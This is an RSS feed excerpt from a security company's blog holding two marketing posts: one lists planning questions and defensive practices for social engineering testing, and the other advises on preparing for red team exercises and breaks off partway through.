<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>NetSPI</title>
	<atom:link href="https://www.netspi.com/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.netspi.com/</link>
	<description>The Proactive Security Solution</description>
	<lastBuildDate>Tue, 15 Oct 2024 14:06:26 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.6.2</generator>

<image>
	<url>https://www.netspi.com/wp-content/uploads/2024/03/favicon.png</url>
	<title>NetSPI</title>
	<link>https://www.netspi.com/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Ask These 10 Questions to Enhance Your Social Engineering Testing</title>
		<link>https://www.netspi.com/blog/executive-blog/social-engineering/ask-these-10-questions-to-enhance-your-social-engineering-testing/</link>
		
		<dc:creator><![CDATA[Dalin McClellan]]></dc:creator>
		<pubDate>Tue, 15 Oct 2024 14:06:24 +0000</pubDate>
				<category><![CDATA[Social Engineering]]></category>
		<guid isPermaLink="false">https://www.netspi.com/?p=25719</guid>

					<description><![CDATA[<p>Be proactive with social engineering testing to enhance defenses against attacks. Use targeted questions to help maximize testing results.</p>
<p>The post <a href="https://www.netspi.com/blog/executive-blog/social-engineering/ask-these-10-questions-to-enhance-your-social-engineering-testing/">Ask These 10 Questions to Enhance Your Social Engineering Testing</a> appeared first on <a href="https://www.netspi.com">NetSPI</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading" id="h-tl-dr">TL;DR</h2>



<p>Don&#8217;t wait for a breach to happen before you pursue social engineering testing. Be proactive and enhance your internal processes to increase your defenses against an attack. Get the most value out of your social engineering testing by asking the questions below to maximize results.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td><strong>Phishing and Fishing</strong></td><td><strong>Physical Pentesting</strong></td></tr><tr><td><ol><li>What is the biggest concern you are trying to protect against?</li><li>Are you already conducting phishing or vishing campaigns in-house or through a third-party service? If so, how often?</li><li>Are there existing policies or processes in place for users to report suspicious calls, emails, or texts?</li></ol></td><td><ol><li>What is the most likely adversary you are trying to protect against?</li><li>What are the most sensitive areas of your building, where security should be the strongest?</li><li>What physical security controls do you have in place already? How much ability do you have to add new controls, or upgrade existing ones?</li></ol></td></tr></tbody></table></figure>



<div style="height:20px" aria-hidden="true" class="wp-block-spacer"></div>



<p>Get the full list of questions below.&nbsp;</p>



<h2 class="wp-block-heading" id="h-introduction-nbsp">Introduction&nbsp;</h2>



<p>Your multifactor authentication (MFA) is tailored to your environment; you&#8217;ve got regular software updates down to a science; and your company&#8217;s social engineering training has boosted your team&#8217;s recognition of phishing attempts.</p>



<p>These efforts build up to a <a href="https://www.netspi.com/blog/executive-blog/proactive-security/proactive-security-101-discover-prioritize-remediate/" target="_blank" rel="noreferrer noopener">proactive security strategy</a> that’s needed to combat today&#8217;s persistent social engineering attacks. But all this aside, one fact remains — social engineering is still the top method threat actors use to gain entry to a company&#8217;s IT environment and sensitive data.&nbsp;</p>


<div class="my-8 custom-quote-wrapper"><div class="condensed-section"><div class="relative"> <img decoding="async" class="absolute max-w-[6rem] z-10 opacity-0 md:opacity-100 illustrations lg:max-w-[11rem] xl:max-w-full top-0 m-0 left-0 lg:left-8" src="https://www.netspi.com/wp-content/themes/netspi/assets/images/blockquote-left.svg" aria-hidden="true"><img decoding="async" class="absolute max-w-[6rem] z-10 opacity-0 md:opacity-100 illustrations lg:max-w-[11rem] xl:max-w-full bottom-0 m-0 right-0 lg:right-8" src="https://www.netspi.com/wp-content/themes/netspi/assets/images/blockquote-right.svg" aria-hidden="true"><div class="relative bg-offWhite"><div class="max-w-[90%] sm:max-w-[40rem] md:max-w-[44.5rem] mx-auto">
<blockquote class="custom-quote-class !py-5" class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="custom-paragraph">Social engineering is still the top method threat actors use to gain entry to a company&#8217;s IT environment and sensitive data.</p>
</blockquote>
</div></div></div></div></div>


<p>For security teams and their leaders, understanding how to effectively conduct <a href="https://www.netspi.com/netspi-ptaas/social-engineering/" target="_blank" rel="noreferrer noopener">social engineering penetration testing</a> can be a game-changer. Not only does it help identify focus areas to enhance security, but it also builds a robust defense mechanism against the real threats that exist today.&nbsp;</p>



<p>Learn why social engineering remains a prevalent threat, the difference between phishing/vishing and physical/on-site penetration testing, and how you can maximize the outcomes of your social engineering testing by asking specific questions.&nbsp;</p>



<p>Whether you’re just learning more about social engineering testing, or you’re ready to start your next engagement, NetSPI is here to help. <a href="https://www.netspi.com/contact/" target="_blank" rel="noreferrer noopener">Let’s talk.</a></p>



<figure class="wp-block-image size-large"><a href="https://www.netspi.com/netspi-ptaas/social-engineering/" target="_blank" rel="noreferrer noopener"><img fetchpriority="high" decoding="async" width="1024" height="256" src="https://www.netspi.com/wp-content/uploads/2024/08/Social-Engineering-In-Blog-Ad-04-1024x256.webp" alt="Social Engineering In-Blog Ad" class="wp-image-25247" srcset="https://www.netspi.com/wp-content/uploads/2024/08/Social-Engineering-In-Blog-Ad-04-1024x256.webp 1024w, https://www.netspi.com/wp-content/uploads/2024/08/Social-Engineering-In-Blog-Ad-04-300x75.webp 300w, https://www.netspi.com/wp-content/uploads/2024/08/Social-Engineering-In-Blog-Ad-04-768x192.webp 768w, https://www.netspi.com/wp-content/uploads/2024/08/Social-Engineering-In-Blog-Ad-04.webp 1201w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>



<div style="height:20px" aria-hidden="true" class="wp-block-spacer"></div>



<h2 class="wp-block-heading" id="h-social-engineering-attacks-are-all-too-common">Social Engineering Attacks Are All Too Common</h2>



<p>Social engineering leverages human psychology to exploit individuals to share sensitive information or perform actions that compromise security. Unlike traditional techniques threat actors use that target systems and networks, social engineering attacks target the weakest link in the security chain — people.&nbsp;&nbsp;</p>


<div class="my-8 custom-quote-wrapper"><div class="condensed-section"><div class="relative"> <img decoding="async" class="absolute max-w-[6rem] z-10 opacity-0 md:opacity-100 illustrations lg:max-w-[11rem] xl:max-w-full top-0 m-0 left-0 lg:left-8" src="https://www.netspi.com/wp-content/themes/netspi/assets/images/blockquote-left.svg" aria-hidden="true"><img decoding="async" class="absolute max-w-[6rem] z-10 opacity-0 md:opacity-100 illustrations lg:max-w-[11rem] xl:max-w-full bottom-0 m-0 right-0 lg:right-8" src="https://www.netspi.com/wp-content/themes/netspi/assets/images/blockquote-right.svg" aria-hidden="true"><div class="relative bg-offWhite"><div class="max-w-[90%] sm:max-w-[40rem] md:max-w-[44.5rem] mx-auto">
<blockquote class="custom-quote-class !py-5" class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="custom-paragraph">By prioritizing social engineering penetration testing, organizations can build a human firewall that is just as strong as their technical defenses.</p>
</blockquote>
</div></div></div></div></div>


<p>This focus not only protects against breaches, but it also fosters a culture of security awareness among employees. </p>



<h2 class="wp-block-heading" id="h-73-of-breaches-are-due-to-phishing-and-pretexting">73% of Breaches Are Due to Phishing and Pretexting</h2>



<p>Social engineering remains a prevalent threat. Pick up any cybersecurity report or peruse data breach headlines, and you’ll quickly get a sense of the threat landscape.&nbsp;&nbsp;</p>



<p>The <a href="https://www.verizon.com/business/resources/reports/dbir/" target="_blank" rel="noreferrer noopener">Verizon Data Breach Investigations Report</a> highlights that phishing remains the leading cause of incidents, accounting for 73% of breaches. This statistic has remained steady year over year, underscoring the persistent nature of social engineering threats.&nbsp;</p>



<p>Another telling insight from the report is that &#8220;the median time for users to fall for phishing emails is less than 60 seconds.&#8221; This rapid response time emphasizes the importance of real-time awareness and training to recognize, report, and ultimately prevent social engineering attacks.&nbsp;</p>



<h2 class="wp-block-heading" id="h-prioritize-social-engineering-defense-nbsp">Prioritize Social Engineering Defense&nbsp;</h2>



<p>Several indicators can signal the need to prioritize social engineering prevention within an organization.&nbsp;&nbsp;</p>



<h3 class="wp-block-heading" id="h-phishing-and-vishing-nbsp">Phishing and Vishing&nbsp;</h3>



<p>On the phishing and vishing side, headlines like the high-profile <a href="https://www.netspi.com/blog/executive-blog/security-industry-trends/six-of-the-spookiest-vulnerabilities-from-2023/" target="_blank" rel="noreferrer noopener">MGM data breach</a> spike interest in social engineering prevention. When a competitor or someone in your industry falls victim to a social engineering breach, it serves as a compelling signal to initiate social engineering testing.&nbsp;</p>



<p>As technical controls grow stronger and the industry expands, it&#8217;s challenging to prevent social engineering tactics like phone calls. For example, while <a href="https://www.netspi.com/netspi-ptaas/application-penetration-testing/web-application/" target="_blank" rel="noreferrer noopener">web application</a> firewalls and <a href="https://www.netspi.com/netspi-ptaas/network-penetration-testing/" target="_blank" rel="noreferrer noopener">network controls</a> can block foreign threat actors, even a teenager in Florida can try to infiltrate through simple phone calls.&nbsp;</p>



<h3 class="wp-block-heading" id="h-physical-pentesting-nbsp">Physical Pentesting&nbsp;</h3>



<p>On the physical security side, the COVID-19 pandemic significantly altered on-site security. With more people working from home, buildings are less populated, making it easier for unauthorized individuals to gain access because of outdated assumptions about physical security based on pre-pandemic conditions.&nbsp;</p>


<div class="my-8 custom-quote-wrapper"><div class="condensed-section"><div class="relative"> <img decoding="async" class="absolute max-w-[6rem] z-10 opacity-0 md:opacity-100 illustrations lg:max-w-[11rem] xl:max-w-full top-0 m-0 left-0 lg:left-8" src="https://www.netspi.com/wp-content/themes/netspi/assets/images/blockquote-left.svg" aria-hidden="true"><img decoding="async" class="absolute max-w-[6rem] z-10 opacity-0 md:opacity-100 illustrations lg:max-w-[11rem] xl:max-w-full bottom-0 m-0 right-0 lg:right-8" src="https://www.netspi.com/wp-content/themes/netspi/assets/images/blockquote-right.svg" aria-hidden="true"><div class="relative bg-offWhite"><div class="max-w-[90%] sm:max-w-[40rem] md:max-w-[44.5rem] mx-auto">
<blockquote class="custom-quote-class !py-5" class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="custom-paragraph">If you’re considering whether you should put more weight into social engineering prevention, the answer is probably yes.</p>
</blockquote>
</div></div></div></div></div>


<p>The best advice we can give to avoid a data breach is to be proactive and prepare ahead of time. </p>



<h2 class="wp-block-heading" id="h-social-engineering-penetration-testing-versus-social-engineering-prevention-training-nbsp">Social Engineering Penetration Testing versus Social Engineering Prevention Training&nbsp;</h2>



<p>Training and testing serve different purposes, but are both essential for a comprehensive security strategy.&nbsp;</p>



<h3 class="wp-block-heading" id="h-social-engineering-prevention-training-nbsp">Social Engineering Prevention Training&nbsp;</h3>



<p>Popular subscription-based social engineering training services focus on educating employees to recognize and report phishing attempts. These sessions are broad in nature, accessible to all employees, and can be mandated organization-wide.&nbsp;</p>



<h3 class="wp-block-heading" id="h-social-engineering-penetration-testing-nbsp">Social Engineering Penetration Testing&nbsp;</h3>



<p>With social engineering penetration testing, security teams take a more sophisticated approach, resulting in deeper insights by seeing what could happen after phishing occurs. This type of testing evaluates how employees respond, identifies potential escalation points, and provides helpful context into the organization&#8217;s resilience against social engineering attacks.&nbsp;</p>



<p>While training casts a wide net for general recognition and reporting, penetration testing evaluates specific attack paths for precise security enhancements.&nbsp;&nbsp;</p>



<h2 class="wp-block-heading" id="h-questions-to-ask-to-enhance-social-engineering-testing-nbsp">Questions to Ask to Enhance Social Engineering Testing&nbsp;</h2>



<p>Before conducting social engineering penetration testing, it&#8217;s crucial to define objectives clearly so you can maximize the value of your test. Here are some questions to consider for successful social engineering testing:&nbsp;&nbsp;</p>



<h3 class="wp-block-heading" id="h-phishing-and-vishing-penetration-testing-nbsp">Phishing and Vishing Penetration Testing&nbsp;</h3>



<ol start="1" class="wp-block-list">
<li>What is the biggest concern you are trying to protect against? </li>



<li>Are you already conducting phishing or vishing campaigns in-house or through a third-party service?  
<ul class="wp-block-list">
<li>If so, how often? </li>



<li>Have you noticed any trends in failure rates, either higher or lower?  </li>
</ul>
</li>



<li>If so, how do these trends inform your readiness for more advanced testing? Are there existing policies or processes in place for users to report suspicious calls, emails, or texts? </li>



<li>Which team or department within your organization is most vulnerable to social engineering threats?  
<ul class="wp-block-list">
<li>Are these teams public-facing or internal only? </li>
</ul>
</li>



<li>How do these teams most often communicate?  
<ul class="wp-block-list">
<li>Email, phone call, chat message? </li>
</ul>
</li>
</ol>



<h3 class="wp-block-heading" id="h-physical-pentesting-nbsp-0">Physical Pentesting&nbsp;</h3>



<ol start="1" class="wp-block-list">
<li>What is the most likely adversary you are trying to protect against? Being specific about this helps tailor decisions around controls. </li>



<li>How would you describe your company culture regarding physical security?  
<ul class="wp-block-list">
<li>Is tailgating a standard practice? Do employees feel comfortable challenging unknown visitors? Do people lock their workstations before leaving their desks? </li>



<li>What policies and processes do you have in place to enforce these actions?  </li>



<li>What kinds of training have your employees received? </li>
</ul>
</li>



<li>How have your assumptions about physical security changed since the pandemic? </li>



<li>What are the most sensitive areas of your building, where security should be the strongest? </li>



<li>What physical security controls do you have in place already?  
<ul class="wp-block-list">
<li>How much ability do you have to add new controls, or upgrade existing ones? </li>
</ul>
</li>
</ol>



<p>Use these questions as a starting point to guide your social engineering testing. <a href="https://www.netspi.com/contact/" target="_blank" rel="noreferrer noopener">Contact The NetSPI Agents</a> for a conversation at any time.&nbsp;&nbsp;</p>



<h2 class="wp-block-heading" id="h-3-types-of-social-engineering-phishing-vishing-physical-onsite-nbsp">3 Types of Social Engineering: Phishing, Vishing, Physical/Onsite&nbsp;</h2>



<p>Social engineering testing encompasses a wide range of techniques designed to evaluate an organization&#8217;s vulnerabilities to human-centric attacks. From pretexting and baiting to tailgating and spear-phishing, the variety of attack methods is extensive. For a comprehensive overview, read <a href="https://www.techtarget.com/searchsecurity/definition/social-engineering" target="_blank" rel="noreferrer noopener">Tech Target</a> for the different types of social engineering attacks.&nbsp;&nbsp;</p>



<p>Here, we’ll focus on three specific types of social engineering testing that NetSPI offers:&nbsp;&nbsp;</p>



<ul class="wp-block-list">
<li>Phishing </li>



<li>Vishing </li>



<li>Physical pentesting </li>
</ul>



<h3 class="wp-block-heading" id="h-phishing-nbsp">Phishing&nbsp;</h3>



<p>Phishing tests involve email and text-based attacks to gauge employee awareness and identify procedural gaps. Campaigns can range from general security awareness to targeted spearphishing attacks aimed at compromising specific accounts.&nbsp;</p>



<figure class="wp-block-image size-large"><a href="https://www.netspi.com/blog/technical-blog/social-engineering/bypassing-mimecast-email-defenses/" target="_blank" rel="noreferrer noopener"><img decoding="async" width="1024" height="294" src="https://www.netspi.com/wp-content/uploads/2024/10/CTA_Bypassing-Mimecast-URL_BLOG-1024x294.webp" alt="" class="wp-image-25723" srcset="https://www.netspi.com/wp-content/uploads/2024/10/CTA_Bypassing-Mimecast-URL_BLOG-1024x294.webp 1024w, https://www.netspi.com/wp-content/uploads/2024/10/CTA_Bypassing-Mimecast-URL_BLOG-300x86.webp 300w, https://www.netspi.com/wp-content/uploads/2024/10/CTA_Bypassing-Mimecast-URL_BLOG-768x220.webp 768w, https://www.netspi.com/wp-content/uploads/2024/10/CTA_Bypassing-Mimecast-URL_BLOG.webp 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>



<div style="height:20px" aria-hidden="true" class="wp-block-spacer"></div>



<h3 class="wp-block-heading" id="h-vishing-nbsp">Vishing&nbsp;</h3>



<p>Vishing involves phone-based attacks designed to extract sensitive information. During these engagements, the tester may pose as a help desk employee or vendor to gather user credentials, internal data, or customer information.&nbsp;</p>



<p><em>Social Engineering Best Practices: Phishing and Vishing Prevention</em>&nbsp;</p>



<ul class="wp-block-list">
<li><strong>Assume Phishing Will Happen</strong>: Acknowledge the inevitability of phishing incidents, especially in large organizations; with thousands of employees, it&#8217;s statistically likely someone will click a malicious link. </li>



<li><strong>Implement Strong Technical Controls</strong>: Establish robust security measures to mitigate the impact of successful phishing attacks, including multi-factor authentication (MFA) to add an extra layer of security. </li>



<li><strong>Limit User Access</strong>: Enforce strict access policies to control entry points, preventing unauthorized access from non-corporate devices or unfamiliar locations. </li>



<li><strong>Streamline Reporting Processes</strong>: Create an easy, user-friendly system for employees to report suspicious activity and phishing attempts, minimizing reliance on traditional help desk procedures. </li>



<li><strong>Verify Identities</strong>: Encourage staff to confirm unexpected communications via secondary methods, such as sending a quick message through internal communication platforms to verify authenticity. </li>



<li><strong>Conduct Regular Training</strong>: Regularly remind employees of the importance of identity verification and protocols for handling suspicious messages, fostering a culture of vigilance without fostering a climate of fear. </li>
</ul>



<h3 class="wp-block-heading" id="h-physical-pentesting-nbsp-1">Physical Pentesting&nbsp;</h3>



<p>Physical tests assess the effectiveness of on-site security measures. This includes evaluating physical access controls, employee awareness, and compliance with security policies. The goal is to minimize the risk of unauthorized access to sensitive areas.&nbsp;</p>



<figure class="wp-block-image size-large"><a href="https://www.netspi.com/blog/technical-blog/social-engineering/not-your-average-bug-bounty-datacenter/" target="_blank" rel="noreferrer noopener"><img decoding="async" width="1024" height="294" src="https://www.netspi.com/wp-content/uploads/2024/10/CTA_Bug-Bounty_BLOG-1024x294.webp" alt="" class="wp-image-25724" srcset="https://www.netspi.com/wp-content/uploads/2024/10/CTA_Bug-Bounty_BLOG-1024x294.webp 1024w, https://www.netspi.com/wp-content/uploads/2024/10/CTA_Bug-Bounty_BLOG-300x86.webp 300w, https://www.netspi.com/wp-content/uploads/2024/10/CTA_Bug-Bounty_BLOG-768x220.webp 768w, https://www.netspi.com/wp-content/uploads/2024/10/CTA_Bug-Bounty_BLOG.webp 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>



<div style="height:20px" aria-hidden="true" class="wp-block-spacer"></div>



<p><em>On-Site and Physical Security Best Practices</em> </p>



<ul class="wp-block-list">
<li><strong>Focus on Physical Security First: </strong>Social engineering is a highly effective way to gain unauthorized access to physical locations. However, if an attacker can simply slip through an unlocked side door without having to talk to anyone, they will likely do that first. </li>



<li><strong>Establish Verification Processes</strong>: Implement a defined process for employees to verify each other&#8217;s identities, especially for new or unknown employees requesting assistance. This can include additional verification methods beyond just badges. </li>



<li><strong>Awareness of Tailgating Risks</strong>: Acknowledge that tailgating is an effective method for unauthorized entry into facilities. Create awareness among employees about this tactic and encourage vigilance. </li>



<li><strong>Encourage Communication</strong>: Promote communication among employees for confirming requests made by unfamiliar individuals, enhancing the overall security of the workplace. </li>



<li><strong>Provide Regular Training</strong>: Regularly train staff on security protocols and situational awareness to empower them to take initiative in verifying identities and reporting suspicious behavior. </li>
</ul>



<h2 class="wp-block-heading" id="h-enhance-your-social-engineering-testing-with-netspi-nbsp">Enhance Your Social Engineering Testing with NetSPI&nbsp;</h2>



<p>Social engineering remains the top method for breaches, because humans are the unknown variable in what&#8217;s theoretically a secure system. Prioritizing social engineering penetration testing and prevention is essential to enhance your company&#8217;s security posture.&nbsp;&nbsp;</p>



<p>By implementing strategies focused on equipping internal teams with the knowledge and processes to combat social engineering threats, you can build a resilient defense strategy against these persistent attacks.&nbsp;</p>


<div class="my-8 custom-quote-wrapper"><div class="condensed-section"><div class="relative"> <img decoding="async" class="absolute max-w-[6rem] z-10 opacity-0 md:opacity-100 illustrations lg:max-w-[11rem] xl:max-w-full top-0 m-0 left-0 lg:left-8" src="https://www.netspi.com/wp-content/themes/netspi/assets/images/blockquote-left.svg" aria-hidden="true"><img decoding="async" class="absolute max-w-[6rem] z-10 opacity-0 md:opacity-100 illustrations lg:max-w-[11rem] xl:max-w-full bottom-0 m-0 right-0 lg:right-8" src="https://www.netspi.com/wp-content/themes/netspi/assets/images/blockquote-right.svg" aria-hidden="true"><div class="relative bg-offWhite"><div class="max-w-[90%] sm:max-w-[40rem] md:max-w-[44.5rem] mx-auto">
<blockquote class="custom-quote-class !py-5" class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="custom-paragraph">If we can leave you with one key takeaway, it’s this: don&#8217;t wait for a breach to happen before you realize the importance of social engineering prevention. &nbsp;</p>
</blockquote>
</div></div></div></div></div>


<p>We&#8217;re here to help you take proactive steps today to secure your organization. Explore NetSPI’s <a href="https://www.netspi.com/netspi-ptaas/social-engineering/" target="_blank" rel="noreferrer noopener">social engineering services</a> and <a href="https://www.netspi.com/contact/" target="_blank" rel="noreferrer noopener">contact us</a> to strategically advance your approach.&nbsp;</p>
<p>The post <a href="https://www.netspi.com/blog/executive-blog/social-engineering/ask-these-10-questions-to-enhance-your-social-engineering-testing/">Ask These 10 Questions to Enhance Your Social Engineering Testing</a> appeared first on <a href="https://www.netspi.com">NetSPI</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Part 1: Ready for Red Teaming? Intelligence-Driven Planning for Effective Scenarios </title>
		<link>https://www.netspi.com/blog/executive-blog/red-teaming/part-1-ready-for-red-teaming/</link>
		
		<dc:creator><![CDATA[Giles Inkson]]></dc:creator>
		<pubDate>Tue, 08 Oct 2024 21:57:51 +0000</pubDate>
				<category><![CDATA[Red Teaming]]></category>
		<guid isPermaLink="false">https://www.netspi.com/?p=25712</guid>

					<description><![CDATA[<p>Take time for dedicated planning and evaluation ahead of red team testing to prepare your organisation for effective red team exercises.</p>
<p>The post <a href="https://www.netspi.com/blog/executive-blog/red-teaming/part-1-ready-for-red-teaming/">Part 1: Ready for Red Teaming? Intelligence-Driven Planning for Effective Scenarios </a> appeared first on <a href="https://www.netspi.com">NetSPI</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading" id="h-tl-dr">TL;DR</h2>



<p>Meticulous, intelligence-driven planning rooted in organisational context is crucial for impactful <a href="https://www.netspi.com/netspi-ptaas/red-team-operations/" target="_blank" rel="noreferrer noopener">red team testing</a>. Taking the time for dedicated planning and evaluation ahead of red team exercises will result in more valuable results and a better testing experience for both customers and vendors.</p>



<h3 class="wp-block-heading" id="h-what-to-do-nbsp">What to do:&nbsp;</h3>



<ul class="wp-block-list">
<li>Do utilise multiple sources to inform scenario design, including:  
<ul class="wp-block-list">
<li>Realistic threat and open-source intelligence from multiple sources&nbsp;</li>



<li>Business needs, strengths, weaknesses, challenges, and organizational structure&nbsp;</li>



<li>Input from key stakeholders, users, owners, and consumers of the services and businesses you will test&nbsp;</li>
</ul>
</li>



<li>Do engage CISOs, and system and process owners well before testing starts to ensure operational integrity&nbsp;</li>



<li>Do allow at least three months for thorough planning and stakeholder alignment&nbsp;</li>



<li>Do make sure your business security capability meets the maturity level where red teaming is beneficial&nbsp;</li>



<li>Do tailor scenarios to specific regulatory frameworks and legal requirements for data security (e.g., <a href="https://www.netspi.com/newsroom/press-release/cbest-accreditation/" target="_blank" rel="noreferrer noopener">CBEST for finance</a>)&nbsp;</li>



<li>Do document clear objectives and success criteria before execution; make sure they are grounded in reality&nbsp;&nbsp;</li>
</ul>



<h3 class="wp-block-heading" id="h-what-not-to-do-nbsp">What not to do:&nbsp;</h3>



<ul class="wp-block-list">
<li>Don’t rely solely on generic, off-the-shelf scenarios that are not mapped to your business&nbsp;</li>



<li>Don’t ignore industry-specific threats, compliance requirements, and intelligence data&nbsp;</li>



<li>Don’t rush the planning phases, leading to poorly defined scope and outcomes&nbsp;</li>



<li>Don’t red team before you are ready; have a detection alerting and response capability that requires evaluation&nbsp;</li>



<li>Don’t skip securing executive buy-in and necessary resources and staff cooperation&nbsp;</li>



<li>Don’t overlook the need for well-defined rules of engagement, communications, and escalation processes&nbsp;</li>
</ul>



<h2 class="wp-block-heading" id="h-introduction">Introduction</h2>



<p>Conducting a red team exercise has significant benefits to enhance your organisation’s security resilience, if planned and executed well. However, given its advanced nature, it isn&#8217;t always the most valuable type of test to enhance resilience, and getting to the point of being able to get the most value from one, is a challenge.</p>



<p>Without the right elements in place, nothing is learned, and you end up with the best parts whizzing above the proverbial head of the organisation.</p>



<p>This analogy works almost all the time, except when you are legally required to red team, and scaling up quickly becomes a big undertaking. In this case, consider an intermediary service, like scenario-based testing, that tests against specific NIST pillars, and provides insights that go beyond normal pentesting.</p>



<p>Many of you are considering whether now is the right time for a red team exercise, or you&#8217;re seeking a red team experience as part of a larger move toward compliance, such as the <a href="https://www.netspi.com/resources/templates-and-checklists/interactive-dora-checklist/" target="_blank" rel="noreferrer noopener">Digital Operational Resilience Act (DORA)</a>. This article will help you get the right processes and capabilities in place so you can prove and validate any assumptions around your security capability through real-world testing – that&#8217;s what a red team should help you do.</p>



<p>The planning and evaluation that goes into red teaming can make or break the quality of test outcomes, which is why we&#8217;re exploring foundational planning and radical realism so you can gain the most value from any red team exercise.</p>



<figure class="wp-block-image size-large"><a href="https://www.netspi.com/resources/templates-and-checklists/interactive-dora-checklist/" target="_blank" rel="noreferrer noopener"><img loading="lazy" decoding="async" width="1024" height="293" src="https://www.netspi.com/wp-content/uploads/2024/05/DORA-Checklist_CTA-1024x293.webp" alt="" class="wp-image-25145" srcset="https://www.netspi.com/wp-content/uploads/2024/05/DORA-Checklist_CTA-1024x293.webp 1024w, https://www.netspi.com/wp-content/uploads/2024/05/DORA-Checklist_CTA-300x86.webp 300w, https://www.netspi.com/wp-content/uploads/2024/05/DORA-Checklist_CTA-768x220.webp 768w, https://www.netspi.com/wp-content/uploads/2024/05/DORA-Checklist_CTA-1536x440.webp 1536w, https://www.netspi.com/wp-content/uploads/2024/05/DORA-Checklist_CTA.webp 1920w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>



<div style="height:20px" aria-hidden="true" class="wp-block-spacer"></div>



<h2 class="wp-block-heading" id="h-is-red-teaming-right-for-my-business">Is Red Teaming Right for My Business?</h2>



<p>Ask yourself: Is red teaming the most valuable type of security test for your business right now? Red teaming is an incredibly impactful way to enhance your security against real-world risks, but it can also be too advanced for some organisations, especially if they have novice asset visibility, managed security, or detective controls.</p>



<p>If your IT and security fundamentals are in flux, and you don&#8217;t yet have a capability to respond to a real-world event (managed or in-house), then a red team test may not provide the most value.</p>



<p>Consider this analogy: You’re a new boxer, about to start sparring and practicing &#8216;the real fight,&#8217; but it turns out your opponent is a class or two above, and has a large, shiny, golden belt. This is clearly an unmatched fight that will result in injury, and not a great deal of practical lessons. You&#8217;ll walk away having tried your best, but ultimately not learning how to progressively build your skills.</p>


<div class="my-8 custom-quote-wrapper"><div class="condensed-section"><div class="relative"> <img decoding="async" class="absolute max-w-[6rem] z-10 opacity-0 md:opacity-100 illustrations lg:max-w-[11rem] xl:max-w-full top-0 m-0 left-0 lg:left-8" src="https://www.netspi.com/wp-content/themes/netspi/assets/images/blockquote-left.svg" aria-hidden="true"><img decoding="async" class="absolute max-w-[6rem] z-10 opacity-0 md:opacity-100 illustrations lg:max-w-[11rem] xl:max-w-full bottom-0 m-0 right-0 lg:right-8" src="https://www.netspi.com/wp-content/themes/netspi/assets/images/blockquote-right.svg" aria-hidden="true"><div class="relative bg-offWhite"><div class="max-w-[90%] sm:max-w-[40rem] md:max-w-[44.5rem] mx-auto">
<blockquote class="custom-quote-class !py-5" class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="custom-paragraph">This is why we aim to calibrate red teaming to your organisation, its strengths and weaknesses, because without the right level of challenge, nobody learns or grows.</p>
</blockquote>
</div></div></div></div></div>


<p>Bringing it back to red teaming, getting the level of challenge right takes planning, so it can prepare your team for the scenarios that are most likely to face your business, and validate the threats you may face. To get the most value and education from red teaming, you need to have security protocols in place, tailored to your system, and functioning correctly.</p>



<h2 class="wp-block-heading" id="h-consider-scenario-based-testing-as-an-alternative-to-red-teaming">Consider Scenario-Based Testing as an Alternative to Red Teaming</h2>



<p>A different type of test that provides significant insights with more control than red teaming is scenario-based testing, which is more focused on a specific set of circumstances. Scenario-based testing allows you to explore ‘what if’ scenarios much like a red team, but it doesn’t have to be the full organisational scope.</p>



<p>At NetSPI, we perform scenario-based testing aligned to concepts around <a href="https://www.netspi.com/resources/videos-and-livestreams/nist-security-framework-cheat-codes/" target="_blank" rel="noreferrer noopener">NIST: identify, detect, protect, respond and recover</a>. Think of it as a practical test to answer &#8216;can my business detect an active threat in &#8216;x&#8217; set of systems,&#8217; or &#8216;if we have an active breach what can we see? Are our thresholds for response where they need to be?&#8217;.</p>



<p>With scenario-based testing, we help you turn these conceptual tests into specific test cases and scenarios. This blends the focus of a pentest with the business impact of a red team in a more cost-effective and manageable way. Depending on your current security stance, a focused test such as this can produce more helpful results and be a better use of resources, time, and money.&nbsp;&nbsp;</p>



<p>Starting with basics like <a href="https://www.netspi.com/netspi-ptaas/" target="_blank" rel="noreferrer noopener">pentesting</a>, and then working your way up to scenario-based testing, and eventually red teaming will help your team systematically grow their skill sets.</p>



<figure class="wp-block-image size-large"><a href="https://www.netspi.com/contact/" target="_blank" rel="noreferrer noopener"><img loading="lazy" decoding="async" width="1024" height="299" src="https://www.netspi.com/wp-content/uploads/2024/10/CTA_Consultation-Scenario-Based-Testing-1024x299.webp" alt="" class="wp-image-25716" srcset="https://www.netspi.com/wp-content/uploads/2024/10/CTA_Consultation-Scenario-Based-Testing-1024x299.webp 1024w, https://www.netspi.com/wp-content/uploads/2024/10/CTA_Consultation-Scenario-Based-Testing-300x88.webp 300w, https://www.netspi.com/wp-content/uploads/2024/10/CTA_Consultation-Scenario-Based-Testing-768x224.webp 768w, https://www.netspi.com/wp-content/uploads/2024/10/CTA_Consultation-Scenario-Based-Testing.webp 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>



<div style="height:20px" aria-hidden="true" class="wp-block-spacer"></div>



